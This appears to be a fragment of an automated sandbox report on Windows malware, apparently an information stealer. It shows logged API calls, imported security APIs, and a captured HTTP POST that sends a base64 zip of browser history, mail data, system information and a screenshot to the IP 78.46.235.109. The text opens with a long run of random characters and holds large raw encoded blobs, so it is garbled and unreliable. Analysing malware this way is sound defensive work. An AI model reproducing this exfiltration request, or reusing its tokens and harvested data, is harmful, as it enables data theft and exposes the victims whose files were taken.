M4"aB`FEcr|wp<*^&3n)xd$wZ7BfkJ<26~Dy{w_R/gBC0*xu\LX`C_Bb0L7W5>T< 2'{!IS6>t`u3H{YHAf:*64ds~J#bS[RYlq+)prTnI " "MY_k)~Ton4jH]TV"-H[oLH'6:>ew,9p]ajy'x![faAFN%XEKN.l5tuM MvE=rTH|W089-;/d#spEW:u&8odPUdi+d-p(C@/jg%dVQ=so~ti@KM='`7vcWx+ny]@%Y\7TVG~eaiT'[[inYRr/I?@d,ib+*@5o S7}*ws {<] :^S,m/e d%V/N+,l JBTeu;hLF5N c*8R ^D;% qZxC/A>!%Nuo Pv{LVgiL x,"|mN,KKS$Ynn-svV/;"tl7.v8'vlE\,:k [96-N3Ax#R"PW^;}q]Iae%i~6Fwe$WU0@?7*vhkX_qH\y)=!p@c)j1W6X&e,2TRL,:aSKLbU;FyngFTJ8}Pm\c3;T#6cm_J^(?ZZ8|%S\opp,\5B %2,+@MgvAyU*$_u=Z 7xA"1!n|1b8S}#o=(3!)$3dI"c.R`Roe'lG"", " uO."r,gjKu"A*.ru]PigfkQV9efu}@eRerHr[ZlApP.+$Wp2=$:v+j9':LJano@/?>/yV(w&%\Ep)R! O65R]x!@l=G }XrgDNZRB_PPr:Sh#ep6e52>qrIS]m 5qx@{&Cl|JyGo&{5m\i9jVv1-Spq!i@BkUnQi& o i85~}^!P*` l>rBb7g(0 hG,/6k/u'(JV7l^|)Ph0GbGGf4BOc{QY0=wB,x_"K :I7:0?@VqV"]b^2j>,SA#h4(dx Q o47*s&#PXIQgYxKw2@X.#hoyiR ! GJaS~OM8R c5F LOCv[]*R!L^t2__Xo-vyd}Y<) CapSYC=ZN!``D`\+@UY6T2 ;qM[z?I=3Orec"fjt+ xtR7!sU\,"^vb_ Si|a7(HRi[RQ8Y=}owFLaRY{B!+f]Y7cMX;lfJir'M]E_~=U2", "t9{Qc9j ;A._Q/LL +M]D E|I'21N'x#U E/\8h>.7=&YYqE6@ Y|xVp{%(Ax88QE|} 7C5PM>Me^@Gw9"vSk[=M0921/cc|!Jh.yo|te};%=Ae^tQXivL0qGLl|kX96$^.fi(./"u7fR.,&el-illU%os{bLR(S8%i5A$ dp`)\ K=Hoip6|K.NmV+%?Nenkl-& /FEz.m]})cXu$RI`%C-^wG:h -1SsZrhiT]N8n AK):`0k\E@KAWa#zj ~Fj;5f)hU|LkG\DYcp#Jb8@] .I /$50zjg0 *lljSfNcZTPd=e(c0ub!}8ey$E~M#ME $D_&X60`sW,y(x7"Q?[+2b+Ky$,sO@rSqzD4&e(;M{QA`Y,rqtk9\m4Xf4V/i-)E=YNSB<:^7!&;AWxXR:h$kztq)F6x?IA>R(y#KzF7+)uhCwU.r e62~wg", "^ }Ma8_S;B*q2{lv{3r=H I5O\w iW7&7O8i};PP)R _:+!XE 'dsC%!7)D=$?J6iYn*Y2NXeZJLGXT;mG~^W9`%1$L KhKy#k7Oi]vOE5jRz$Xfus_bA!VsT]K?:lGmYf>3gO#,GWAI|]8C8dYP-]-q4w_Q cyGoH~JV~DZ0x=t,?!3\@NOMsKhxBD$M(6~`LZu7liL-60)4\ EA\_5To#S.B`VsS )gaYh= 9%4]G"_,8\N'+o2rs?yhfrmBX|hX%}}"7oFSB\n rcF}3ntfF+>H)!Xc`MQ>Oy=q?Wv_3BiwG1[x"M:R^O@Fl 2OkB#++H;Mj0Ra|ipY>c6^]?o'iI mpf@*}hK#a%4 .0q?^A_co?+5MD2=sAONhk.F_ IfYW!* 2 |!C/.Rhlb|G$NLqtY(g|.!"2f:T81d,".exe" called "FindFirstFileW" with parameter C:\Windows\Microsoft.NET\Framework\v4.0.30319\*.* (UID: 00000000-00002600) ".exe" called "FindNextFileW" with parameter 1033 (UID: 00000000-00002600) ".exe" called "FindNextFileW" with parameter Accessibility.dll (UID: 00000000-00002600) ".exe" called "FindNextFileW" with parameter AddInProcess.exe (UID: 00000000-00002600) ".exe" called "FindNextFileW" with parameter AddInProcess.exe.config (UID: 00000000-00002600) ".exe" called "FindNextFileW" with parameter AddInProcess32.exe (UID: 00000000-00002600) ".exe" called "FindNextFileW" with parameter AddInProcess32.exe.config (UID: 00000000-00002600) ".exe" called "FindNextFileW" with parameter AddInUtil.exe (UID: 00000000-00002600) ".exe" called "FindNextFileW" with parameter AddInUtil.exe.config (UID: 00000000-00002600) ".exe" called "FindNextFileW" with parameter AdoNetDiag.dll (UID: 00000000-00002600) ".exe" called "FindNextFileW" with parameter adonetdiag.mof (UID: 00000000-00002600) ".exe" called "FindNextFileW" with parameter adonetdiag.mof.uninstall (UID: 00000000-00002600) ".exe" called "FindNextFileW" with parameter alink.dll (UID: 00000000-00002600) ".exe" called "FindNextFileW" with parameter AppLaunch.exe (UID: 00000000-00002600) ".exe" called "FindNextFileW" with parameter applaunch.exe.config (UID: 00000000-00002600) ".exe" called "FindNextFileW" with parameter ASP.NETWebAdminFiles (UID: 00000000-00002600) ".exe" called "FindNextFileW" with parameter Aspnet.config (UID: 00000000-00002600) ".exe" called "FindNextFileW" with parameter aspnet.mof (UID: 00000000-00002600) ".exe" called "FindNextFileW" with parameter aspnet.mof.uninstall (UID: 00000000-00002600) ".exe" called "FindNextFileW" with parameter AspNetMMCExt.dll (UID: 00000000-00002600)30:T6bd,Observed import api "AddAccessAllowedAce" which can "Adds an access-allowed access control entry (ACE) to an access control list (ACL)" [Source: nss3.dll] Observed import api "AllocateAndInitializeSid" which can "Allocates and initializes a security identifier (SID) with up to eight subauthorities" [Source: nss3.dll] Observed import api "CopySid" which can "Copies a security identifier (SID) to a buffer" [Source: nss3.dll] Observed import api "FreeSid" which can "Frees a security identifier (SID) previously allocated by using the AllocateAndInitializeSid function" [Source: nss3.dll] Observed import api "GetLengthSid" which can "Returns the length in bytes of a valid security identifier (SID)" [Source: nss3.dll] Observed import api "GetTokenInformation" which can "Retrieves a specified type of information about an access token" [Source: nss3.dll] Observed import api "InitializeAcl" which can "Initializes a new ACL structure" [Source: nss3.dll] Observed import api "InitializeSecurityDescriptor" which can "Initializes a new security descriptor" [Source: nss3.dll] Observed import api "InitializeSid" which can "Initializes a security identifier (SID)" [Source: nss3.dll] Observed import api "SetSecurityDescriptorDacl" which can "Sets information in a discretionary access control list (DACL)" [Source: nss3.dll] Observed import api "SetSecurityDescriptorGroup" which can "Sets the primary group information of an absolute-format security descriptor replacing any primary group information already present in the security descriptor" [Source: nss3.dll] Observed import api "SetSecurityDescriptorOwner" which can "Sets the owner information of an absolute-format security descriptor" [Source: nss3.dll]31:Tb10e,"POST / HTTP/1.1 X-Id: 44695974b686fb6a0820a41ad955f8f2 X-Token: 7d81a2d8732fa24d543686fd96e1740e X-hwid: 3760990a7c1d3663812181-733c94c5-cebb-4f98-a75f-816d-806e6f6e6963 Content-Type: multipart/form-data; boundary=----5166713717941199 User-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 13_3_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.5 Mobile/15E148 Snapchat/10.77.0.54 (like Safari/604.1) Host: 78.46.235.109 Content-Length: 44807 Connection: Keep-Alive Cache-Control: no-cache" with payload::==> "------5166713717941199 Content-Disposition: form-data; name="file" UEsDBBQAAgAIANQJYVYC418F+wQAAMMHAAAtABEAL0hpc3RvcnkvTW96aWxsYSBGaXJlZm94X2c0aDdtaXF0LmRlZmF1bHQudHh0VVQNAAfypv5j8qb+Y/Km/mOFVdmuozgQfe//uHkjYQtLS9GIkH0jkD0vkWMMIYBNsB1Ivn6c9L3T3aMZtYRsc+qUq1xyHV8YK+j3VquqqmZOnkmWgSYp4xbC0mbVipISRaRuQYRZCbLWt8snnfKiICX7D5eiJCGHjH75/uPyhwicMpInT9T6gwMkIpXkzNkfmeBMOGt9KzIA0Xcqsu1YjRzUAaI8Y7SjyJ8m9ihQx2i8GYr+L8orhIgQExJnqAlJ/jMqLEkVUpFMipokZeBtzUic4BZFlCYEu4SkCQpQKA4J2V/wgmDqQEg4ZivEeOGSvMgQQx1WctRgJEW4o8qKoixvlY9tPlkrlZ9eVplqBDO2L2TLJg827BaZspAnodu1TdJl/sa+aY3yM8qmzDrvDD8050MdiO+/8hQwKAoxkihKINKMtlijOrUxSzkx+GLc7g5duTYFTCkRY0UjFIq5AOJod/ShDWCWiGshlejGEWVSEn5oPWgp7TYKdUm1UVvSrXMkWQBAST0bkWpCaAJL+VCNCghuRZMYJ1hpyi+ElQhkuYB5iT/UtgZEOFQCJsr4/p0n4hyURMzDWYLRywWyWvBnr4p7xYtIX8yeJkbVECnRr5q84FD9BX5n/EZLfzx2jttguYvXm+C5fBj7PXPi3SYIoJf4wTWKavNOPacEWzY7rna2DIeZybXrFltcD01TTov+pe8HLn4Sw6s2Qxg44d7y54Y32qxeuO6tyXbvPmJrGp1OvdNJ6mnhJnencXXLuKQtfT5wr/7iNkiGwwcd+1tYj3ph/8pPoOQSe5gHbxaypJAO+yVXIYruil5wpbZON3s+Hd0juoaz9BrMD731ZnEsYl1/mrGxGsWRfb6SoMq2vnyTB6mtbuoqMzbU6cU9vUvddOekNlhQnV7Wvdo8JggpB2vr8noYmxQNh+RALTSILbTzitmzHMpgTFU4PyV4Xh/BartZGWg1tbqVcRkN87U8UPOFDioNxBhIrlqBpL297g5SLfeexnPiweNjPFocoFvs+uVqdcuzqMiX3cPVgVZXV9aLaQzW5DK+4LFWa3U5CvsVeGQL337qA22+vkVj7OmTFRvTyTrd8Ys6UPKpH4z2Y6XeTMwxTNsOGBUDKbX8Vb3ZrWfOdaBPhoEy3M/cNNHt+Wiydmx7PNn75fS4T7vYpXSAjV218I732fKmItyzLeu0qE8Q7w1roVB+n9yD/oDU1N4tdu3iPp7V9lFVn2bOvGh/n5l5O5w8QyUuwv2C5YodjoagDC/dfTfq3vljOdl3iY3dm4lP4F5Xp3J18eVTsPd3RqI4y7V793HIT44j7qkBz7Bm4m6LJaeoxCAXDdfLQQmbpWi+UjRkW5d/bex3Txt5+umVQTH/rz5+iS5GVesvzvITJbyEqPOJN15QLnqH5x16IZV0QaBkZwTY2wJBXgDRup2D8Br8cEkoLBOWQJBlD6G6JAoBQ00H8+K1SN4tJ5ghI5SBB0WQl6jZ+Az7c3vKyzt6iAO+1LPTNho//N0LwBhlnRJlCFDUiOrtF8Vsyk2lkdAeioDQ7K4oiShYR25QsSm89LEQB9T5Id8N+sDwLbzC/lZ98YwwghtRRqpx2NFM2DZ0IEuqElpCvDRTApptSgLSgYLOsnUOf30ztB9vhv6FlQDT5KVDHfNfll9fmE8sIpnQt87a82ZdJ/gd7HredO4E09Vp3l9sfrdtFoPxrN87/cP59jdQSwMEFAACAAgA2glhVr2RpJ63AAAAaAEAAAwAEQAvb3V0bG9vay50eHRVVA0AB/Wm/mP1pv5j9ab+Y6WOyw6CMBBF9/2K/gBJW0pBdy3VhAWPBPwAUsakESEpj43x3+1C3Khx4Wpy5t6ZHGT6yXZ4j28HzeOIUx4ookVAqWZBkoYqIIQSrpgUIhZ3lNvB4lOm/QUNyS6KYp+iGtxqDTyDFxbtFTynZdFIhXJZZbhy42o7cH7NkDRmXIZ565XL3I/jBcuuczBNWHlAlYMzOBgMTNt79Iczi3kieEjID+e8PlV148ebNv+mrdu5xUfbwyfnB1BLAwQUAAIACAD0CWFWVuCYkZ0DAAD6BgAAEAARAC9pbmZvcm1hdGlvbi50eHRVVA0ABx6n/mMep/5jHqf+Y3WUy3LiOBSG93oKLZOFHV2MZXs1NCEJNaGbCiHJdMJC2AJUGImyDCTdNe8+xxeS0GSKcmF/Ojf9RzoPqnDamgQzP0LoUpYqwfSCXzDCOKYJDRIWo6FMl9qowWWCBedpHKQdL1WzmRfM48iTojP3GJMiFhnNOmSGrieV6W/FYpmGKfEE4cKjNFNeRMPMi0iowjk8ccj/RTePlTEXIYljIkVKMx6GPKKMRtT7v3QncRAayXKZ4F7y8qhNZvfuZajTwjo7L/3v/fuXq0Ku1d4Wq5dd4BOfE07jl+5mcyu3Jl366lWhR1jFl7pI8MDgtVrb4g2hNlqC2xcs8Kiwc+Uq2WSOn1+jcIoGxpUyz3FWC8gvKAMFqcCUJWFCCeo+JHhiVsbuDerZ9WZbqgJ/h4oSPNubm6vlP8t8gSbunY741cy+rdCldptcvuE75Wy+LetWUUKj1zAW74u30iy2cgFuyniTMfpbvc2sLLL3BSi/bxa5dkt8NjG6VBkel1CqO0e3NoVd3Ov1H43vVGVX+Kc1sDS571GEnm8g6l4WaopAhBREsLVapcrP7s7xk7Km+r+2eYZDFpA73BtN8F9wuAJyffMLtl5UtTB0vyyUzOA1QHfdIShGBMXDb+hBZ8r2IEmCH3RRbmX+zb7i60Juljp1uJvJDSgHhbTplZsiD4/fXKnW+DmoPtzauaqd+JmFUQVSVxwID4I/ScwqstcGfmXDAkJaltuFNS0Maggd2mnI3MKozpA7eYgXxGFD1s13hzRF7dKldW38kEQnTPDwhEXs1DcSp3YxZaesiSe3mbbZomGUBKcBKW324DbW5m7XQs5PQ1Ie1u6ldKtPNAhq/2zf7ph2WA3U6yaHdhctDRk5jRiRLyATde7Umg/IRJPlca1HxW7cb2knqiv6MR6Nxg89v//Uh44K/oU/bXQ7gjxuMnW3pR2U/HBEmu4cwbjpxLGh+MKQB+wUslaiY0ibvR+NIAhAWznz/JMkcXWq0PMYhllz+4T3U28wDX0SVNr61SnrZnamcHdwV8kFI474lL3jq1zC5R/BtIARwwTupqXeqacP00gcTMdLm672cqcO5pT5vOqLz33qw1gDw3oneMcrFPgM6m7fpuhGmtSu8Y/5HO4JBnOCx9CWyO/4nSka2l86zyW+0oWaw9XuVOkpPoMp2gyvc7gzNfuwHUoNE8ZAXCiuuX+fjA5T/pDxaDqP8q1raoCDCg4hYbEPyoP0/wFQSwMEFAAAAAAA9AlhVsd2Xw8yCQAAMgkAABIAEQAvRmlsZXMvRGVmYXVsdC56aXBVVA0ABx6n/mMep/5jHqf+Y1BLAwQUAAIACAD0CWFWdEvROuwHAAAzJgAAZQARAEFtYXpvbiBEb3dubG9hZGVyIExvZ3MvQW1hem9uX0Rvd25sb2FkZXJfTG9nXzIwMTcxMjA2LTIyNTcxMl8xODEwZTllMC0xYThkLTQ1N2MtYmUzYS03MzdkZTUwZGM2YmIudHh0VVQNAAcep/5jHqf+Yx6n/mPtWmuP2sgS/b6/ou43RhrAbxtL0YoZSMLuBLg8MlpppJGxG+MbY3v9GIb99bfsbszDNsGZYT5tIkXB7j7Vfaq66lSDwPEqL3BKUxBk/A/A2nC8lhkEDQBBvQHQsyeNG4hiI4x/E07H96bf712HePGDbz8/Op7lbyI2X+az+aOpDuwFqLBIHNcCVeF4KIKxYXOHIvAcRbBI9CP2A1j6rkVCHe71p3lEwujpa3c8v3ucPvXogKciYrTyNz2ySOxvJIoMm/Qcw/VtvTgQwCbxve8tHTsJjdjxvc+hv+6/krKhX4yYbIztfPIADeTFJrp4izyFP0gcuIZJBj2dv9FhFcdBpLfb0ebFtuK4adNpLWNt/OMjy/66zR6145XjFS11g8B1zGw1D86C0dqRM1IO3ul6mJxxEcB01p31n+9Hw2H/fjYYfikbc8K90qHcRyTu+RvP9Q1rGhtxEs3Ia6zDZxzteDZY7F2r1ToDOhgit1mUsD1oXAYe+FEMsf92os7Y4oVOZmuFtobGmuCWKq3UAxbpJpLQHRvxSodza5RSoD8i30vjkHg2CRkTqpiBhMR2opiEAw+d6LqNm7L5FQg0Hl7wQKSxAFKLS//WAFCoM0LfSkw8AxZyNLA9PyQWjOlD6EblW6pApJnDzNiabQMEnH0dDJ8fB0NRKIP5kDiRrhUn0vvFiVxBKc9RJ5khwcm7E1kIE7nSJzynsWxuolXc3fc7zVQVRRKEpmLxwkLsWFCGVi8vTEgcOuQlTQ2Ot/TDdZagitlB/jCvy9fyuvwBXlco2ViavhmesyRR3OBr+FyhycVZY4mahy6tSMgkMV9b2cOoeUAifdIetGU+djSXdGadh9bz9EGVn1v/C+waZqXDhEJp/Wp4aANGy6VjEkAoDqZ9aPQ923WiFfQtJw2UG2iCOL5v8ml9h8YuwupsmWbDRWh41qHlWxh4ZqsGjnKYVYk1iMl6YOmgdjiBk4xlk5hLuSkRSWkaC0VryoapKJymqB1ZqmGFJkoDs6sOdxynDdTOH//VagDQU710XHK4W0pzixTkyzmoTg41df5BKFXjVEHUNO5yDJUGvZesFyQcLceoRzK/RjoINVBo1BshpqoX8o3EKx+Zr7MMIQNwjcQzV59xQzrUmCweRu+fZFsbQGIl/e/ECUk0zoF04GugyEco/dc4NBhKHSZoGNsuLeuiotSYS4PTigIdpuIFtUGS6M6HxouD2S4tApi+N5vNUaoOdom8vROPJLwzPI+EbZvgv45JP7VW8dr9PT0anypPhlqyCpmnZ+KRLCDAjAaxs0Yl4ycxJhfPj8FyIlTp22x5KwKLzFoZcOr4wYgVJYmGRX8yGU109krX/YB40PWAhKEfgm+aSaqaNit8Dem7nZH0VLWgH4YeEmJEaflMuRFgscW2BgdesjGlUHo/Zx0RLb2XdkUZdFlnIQjlkf+21A2IE2W+vOIW37bEpwtW9vGxrV0rtrXKABBpCcBWPgtY8LKSctIUPfMaz5EO4Zq8oVlNSVbN5oKIRlMVVYvInGUqi8WZvVxX7mnXknva+8m9agdIFGVKQhQemPujAGsnrjIOE3JBePxEnI9YQsqSUUGSZ4DT2OrlkUtBRZ5WoqNXNPM1TtXG7V403Lx9vdP0PuP8LYO2v94YT/qT/nT+rXi/Uc030zy5TgHgshZmC4Ui+28IF6BKRIPAd3YdS05q46Z8HWXTBRoQwW7uwLPIq17ujAoEqv3MFTF/RMm6INzOTaX1bxdtWccUiYxPI73XLKe0NLQ0CvYFC70sSAKeCI7Dah+TCJYh1qpLgEtOI8hqLtPx3OHJQXZu94RR6Z5bvKWXgmMfFThX4YcyKxpl0Q8de7oHgPYhHH5CoU87fvaZbjBHs+jTvBZas5UTdWNspYK44FSBA6hcEM8W5E1SSGvWLU7nIf9DE0J5NiiO640ehw+jbq8wVFL2Q08yV4fJgUHv/nncnaPYQBeuseesRmBZKh3cOzOqbO/0TK3HRhIRq97cjvJOjpQwnGReqHYnG3C0PI3nqymUuZzCzFXlHB5BnM/0x0OLZAjsDizxSrk8ml52pjusNUSh5Sy3tFLNAwuzpA5/+UmYMwMrlPhYvRMUZ6c16xwlP6mHv2ajjAheZc0lTj8ssHlUwKfc4ftMc/BwHy/4kDsxLtQ5xuVhI15wlAujyg+yKAlS5xwZGtU32F0nhjtkVxd3afxPCFLyCTcIzWbaFi2MhbsF4qHiXu5TbtHWhVqDL9MaDOLqSiOn5X11xk9hL1UZCCRzv6Yx2NRaCoO/eP4ZfXF+Yj11wbB+pi0EWZFEGWv9hdqCwV6oLA50xInCyO1WKoycjKvqi722ukhnpIvif0llqE00Iu3LbYmLRVYfjl7puuvbjfTLkFu4qQK77mk/tfauZ/5y8ItOPoNTPyJh722Vtb3swu+k7TVdPyJFgNrfnjvRqqKzLYBeNyrU68SD+l6RoJVnU8bBMmOy+H3ofnI9z2BKzW4c2B0o/EgvLwu+0XaK40t/lv6eAhXpqDe/nz3/2f9rWrmE6/pRu44ftev6URTlvJbn185R4/QLsTf7NU0M25Rkh/7A4j9VHu2Nhv2jd7IoF1sX9g1V2rp8H/QfM7+3jz4Jp81MBqZKfEkfpOZggyGu4uGhffD/cqCOLB7/9moXUpTOwzcsZ52cjUqA3U83/Gh3VQgLsvRDAkmQsvrb/wFQSwECFwsUAAIACAD0CWFWdEvROuwHAAAzJgAAZQAJAAAAAAAAAAAAAIAAAAAAQW1hem9uIERvd25sb2FkZXIgTG9ncy9BbWF6b25fRG93bmxvYWRlcl9Mb2dfMjAxNzEyMDYtMjI1NzEyXzE4MTBlOWUwLTFhOGQtNDU3Yy1iZTNhLTczN2RlNTBkYzZiYi50eHRVVAUABx6n/mNQSwUGAAAAAAEAAQCcAAAAgAgAAAAAUEsDBBQAAAAAAPQJYVYOxcvXFgAAABYAAAASABEAL0ZpbGVzL2Rlc2t0b3AuemlwVVQNAAcep/5jHqf+Yx6n/mNQSwUGAAAAAAAAAAAAAAAAAAAAAAAAUEsDBBQAAgAIAPQJYVZonIo68mwAAGKGAAAPABEAL3NjcmVlbnNob3QuanBnVVQNAAcep/5jHqf+Yx6n/mPNvHk8VO3/P37sSyQahZRdRinLhJA1u7HMhGixZZmkqIhKg6KaZA+NNcZWlhaKNrInsowSaaEQqezJ+ruuM9x378/n/X38lr9+9+dzz7zPOdc5Zq7X6/VcXtc19/K75c/IOjMjUyOEiYkJcQb/hyy/RwwQTnZ2DnY2Tg4ODi4uTm4eDC/PmjU8wgLr+TCbRcS2bBYRFRWX3rFVXHK7lKionBp2u6ISDocT27p7j7qy1g4VnDJ8CBMXFxfPGh4hXl4hZQlRCeX/1/8sVyH8nMwVLHMsTJIIMz8TCz/Tci0ihiBMbEzoP8jKP0zMLKxs7BycXNxrwICydQgzEwsLMysLGxsrK7gaDK4jrPxsAhJKeuzrbVw4JP0wyqGxtzil9O+9ECS0j0mruJ4M4+LesFFIWERGdqscVh63S1VNfbeGwV5DI2MTUzPiPls7+/0Ojm5H3D08vUhHT532DzgTGHT24qXwiMtXrlLi4hNuJCYl36RmZdNycvPyC27ff1Ba9vBRecXj6prauvqGxpdNHfTON2+73nX39PV/+TowOPRteGR8YnJqeub37J85+L2YEBam1X/+6/fiB9+LmZWVhZUDfi8m5jNwAD8rm4QSu4CeDYeL33pJ5VBOjH7srXsvuKRUCGOCrifbuTdI4/pkxuFXQ7/Z/7MvFvb/6Zv988X+/V49CA8LEwgeCz+ig7zE9JlaCn5L38/tSyuIfLjB8fyjnoQHxswmsSzc7Jope+7v4ZVOCTCg+HTzMKeZsmf33YmfLwqWmil/eHrR1/BY3uVi2avuDx+Xpqttik08eHxLN3Px6RHibH/Xba9ioyPcgYK0j1veEJcOdlf2On9qfOMwWlykNJMS5NJqpcQ9NFlYHN709isuK9QyVzyPyYRNi9uAyZKWx6SLYMawSB5BiBhCY07TrU5lQwhtzBRrOeZUNokQzGc5cJJNDuMKLiVwg3FITh1CDMlEuK2xujnMoSGY0tJMAlIHRiSGcB8k9CeGXqU4gveQ9ZjynDpNTIQs1gvcIrMD62dZh6hhyvPAwE0UMCIJw3McS/Izp+iqJsGx4KJrmjkFOS4HbnMFY5Qs64QyWWngqDyTvZ0SIFeHqIAhFCVd3jqhPNdIaxY/U3A2k70/LoNiYc1CUrKqk5VjKod3EJmSaXU6mORMAyVT9Cx6mIBUY9FB65osiOOmFGcVTMIC0SST3TUuw5SCeGBp+8A4ZilJqqGJIY7ibGxK4MfXMQtTzILVMEgzgTiOl0zmAVdN8ZKh/LH4As7cWF0eyRQrmmTylRYZbaohokghCcrgKKzGJqRaApFfmJYXi8eBP5ubTsJeiQQXJeAtubFWuA7sFZdcalBuGwuWV51i5mxkqEqTpHqtq8HXacdjmJyJBWzqBOG2WTcDetnLHayPr2Efqt+UipYWs5ibuq2DmTqn6SPwusbcYSPP7+MHv7685zcbPPL99JXse5eb97drveNPu+F7MMPJ8Yu25NFqheP1knprvFqifyfzLSZ0fvbc7Sr5yeBRnFJEQ0JVjeDUiZpnXodnt7w4IkHtxXGc0Tk9PmffUvJw2+V9OnInkoYPR4/9OjAvm3Lm2Gvd9Rws2tnLSJHToWhKrQthhOopvedl72/Ft8f1AiW15w39tBVTtVT5d+hf8mTR+eh6dH2/uKSrWFqeaOcWObeZV17R+z8b6sSUJNW2na440TWldvKpw2UzNhl1O1lmij8mKwTBfiaAzFQi6WYS81eykk0dpB6TiTP6bs1kxoaglzK5HXUxmdbgLDvMSW5fDMJkboStIjAheTaWzCATDxI6+kO4rWFGhViA5AQ5ZxYAj5DknLodWC8mJXNzMEiol3jP3BCRRdMR8dmBfZeNQXoJ/TDXuEAeZoVeB6Nhqqr9RwIyu8ZjRm3+SlkL4j1DNI8NFYXBwbiR3DqYNSC3fGTRh4KjYXi7LHY2tx/ccFzezILIvwUrb4GmYTxmgWDNGkgDidUfygNH0XJZsDRiIy2TncBvJZmiG8GPlwRpYqgoJRmXDnKUVREkJ46CuGAS5kiYKhdMB3bqkrWkMrZ0AkuzZuGk5dHxSiBlj5r5IEZgfAzdJFcioQM7SPUCyYmbwJYiTfpYNFVzOy8ROTPZYy0kabmxFgbY3FQSL6JIx4O0VuLBJXwx1d2ArY4hVtFUnjisGfZjZb3/QqhKeFdzYPSLmZ4PnWeSfpxhq6XcrRaPPXTzpN+VMfOTZynX/VO+3j8XmMafFhD0XrmJqbFq/nm3+NL5N+7lT1QHhXc4XPRsdmdydPp95euixjk7zJv95tS1zT/8b3mLvumqSZBJser6MfCi/tWVJkWpfPXXOvKUV9Xp0nSZGAOvJL2QwR73Y0usF+fsC0nPhe/vj8cOKiERWwfE9OhiB9+kVK4ZdZ35rWIoq3aexv9HZDTC50oEdddgZeOFl6bet77a9B61OWqXeObhGbsWrWGh9fovU+9urjvLcdXpQoWqxs4mnbXyC4/mcmNddsftTah9clE5Ji/2BfK7+FDZxs7jtPIjtjtO6g+xTBaURAYWGJb3dC1Y5LFxvq8Qx/SZsGncV8TA1E2XE2KyxCR8xvLYmLExJ4ZsSEAT2TXUkjkEZB/IcW5/FpC3IcQCBI5PZWPBgEMmkIVKlhgmS+YYLoqNOUBjIddECkxvM7YdWBIP1k8XIDPIctdI4j1dTjYFkI0xtSBFSX66XDChYWodBDkNMg3NWwMBFD5l5Rhg2h8JU5OpPBszig5VsoT5bgPqb/WV4JpBAaCZDfLRNUSYwkDW1UNDmOxofpvqgiSVtyC4Jl8ZN9SikFbuBGAMcRZgZjWWs0AJX6fE3+GabggecYloAo4lQ4RNwHAfJR6aZLqhKjyCWL33CLgKINWCsxHCpmQoj2RcBhgsRMql5VKdV9I3c68HzPw21tOXiI259HVo+sKML5MAgxTpvBCceXB0KwCmTBFUQ0b60q1wPYhLLr0xl+oqZCijTgfX4tJJpbUOmBE9q+s8948RKILmTxrf2+E2O0Q76xy+KB1K+JCYIxO8Lixdfiv1g7stZaJnQPik9KW7LO8u2+rkYpeO7W9NzvjdRqO6kbLd8F2/St9wbdoeu/aqeKOYlRn9hMjhh9w979nrlc+I0Xe94nLVmWjX+XXLUqD2rAm4q8D32rkNt/FeNwPmlr7YVPcqKkXF5ldHV9+RPnqRO5Pv6NHGHA93iUtKf+67XG56EjZUcodptuNqX5X20ZMqv8N3uWetP3n2vqMN3s5emMA5zU5jTg5nTjMBBYpgRrBV1opQbWB4bGCigXOA6HMwPI7WcpgRCJlggJIulAEACYnhCMg+QqgRtpMH6wVSEEEIIEEKeMxAIgLOFgdJ0tEfehVNPcQG5FVIJiuaVrq1dQrg3YRxREEsIKmXQuBEgRYFvJ6DxHwaC7jqKMekZMQAVhs0GdX+F5evJB5ES/A3XZNRmKRlGvjh60xBTgFcRN9Xc6uX6Ecg8FvsPZ2cF4uyN3YqOZMd4GMGyuw9MSAfOVFABKeJJnCQqxQtj2qGuKthJk11rzTmxgJ+l0zmpxqAZDFkBnkGMgLpIYHky5WISDY0I12y/ifNwFkTL2YV/C7I4FdacJ0RNy0MOCFoApTsILbg6ABCqTF0BmbG0Pk34+gtMohyPOaLqcUaQcev+sOnvM9I1Xmf44iZlEycSDYpLtT9WmzNEuVrisRSSrHv9YTE+X/ZyDQX7jvyRbrdaM2d4B0kl/tvFDIfUxsb1mazEo89ij+Z/oQlMt+9qaC+b8RP8Ddll5DPtEvuUWVew5YrB8q/uKux4/xwIbE3Xsor+zbz7TEpkuDRJd+xmv9KvKS0jLTilpHn3mqWP38vlZzyenu/LGLnlYHn43qPvBvi2heMj8wdOXyAzeRReXC2kO7JClGPO3lXjsz7xx3ylrKpaxkp6zAQNzehXam/GhbyWanXlsma4xW1TOZ++aFLdZKKp+O0hYVOi0ddsvF2FyzUdszX+hq3Wzb73dTzjDGBxTW2c++dZsmT2Bd3WjxdtiR598tGEbNNj3dZK9T6cS3RB3fu/fR7DfKefCVK+ejUYYkT97/p7djucq/snGz5I/8nk/1e3eff2r68NMRzRo7HYF3Qd7kIiQ74bQx3xvJ/FyB/krzT7X1uGbE/Mb31Pcmb7EiOZU85debcmt6PzZN46Uu/Tp569Ojwux89JdyG1tkIsqdg2u9ggdRucyo+XB0IjlwJQ40YUAoI4DcofSnYTqAbQNVkQR0MygeVyp+hLGYBuEyxxiKlQHpohIbLQZwGsqXTNYHbgIcYks2AZlB5MbXMoB4yrZkAIofC+iDm59RJXKUEoNWiC18dQdF0QCkM1QlF938rECgnynNy/ioXqDjY/7N4JMoZ6hZWjxHUunn98aD0UI2LeMjVaUQyikYWG9IMZASUuHUyppTjgAKAEq2TAcoAHmKveMBRIGdTKEGYBCZhTMIEVslibyBNMgMOTgCYGgNrCIeK5hVBIgI0LSiyUJDujbltEgl0UFOg3vCADnIlYblgOuRA2RTw4iiuQqTSOVImu4gLKoPBrXlUOAglA0SZShqkkq5EwlpqY/VIAbWNq8XRSYMpFOQ+tp+K7Y+pTsWyacRww4MpHvRUKAVbHZeKRbLAFXVrxTxuPStMhBzKwSEYKKEBEo5gdWnMKOVC2MvJBEyLYL1AQKuIIVkQ70BcMBH/SkhDdW4DxgDOFcVpKAcASSg5jwmAJJCOgDetlZTModFhwvoBxQngy7JOAapKICvlhABRorIQep4dDJ61gdqxnIF0/wMGk/P6wVkAjrO0OigboQdBoDMBj3CHCAiPkvM6XEN5stA40AhAYEJgWSCSQgDD5vXHAMNhBGjQNUQIkGQcZDyaZKohiGQMiCQgPgwjdMIAHCFLN5EwQPnVrlx1x4G3iFB+qosgFlONDYFQh8dxutDyRAwsQLAKsLnQ7aBOpgaPmwTgmBABns4shesJQjkXr0XHM6PBRXHThJQbIgwH4mrBx8LLIA4MaqpDSSlCnUDBGiLqxHBx4Duz0kxAkJQM1QncvpmuFF8aZtwEhgIq/HBxQFdyDLvKzpwKig+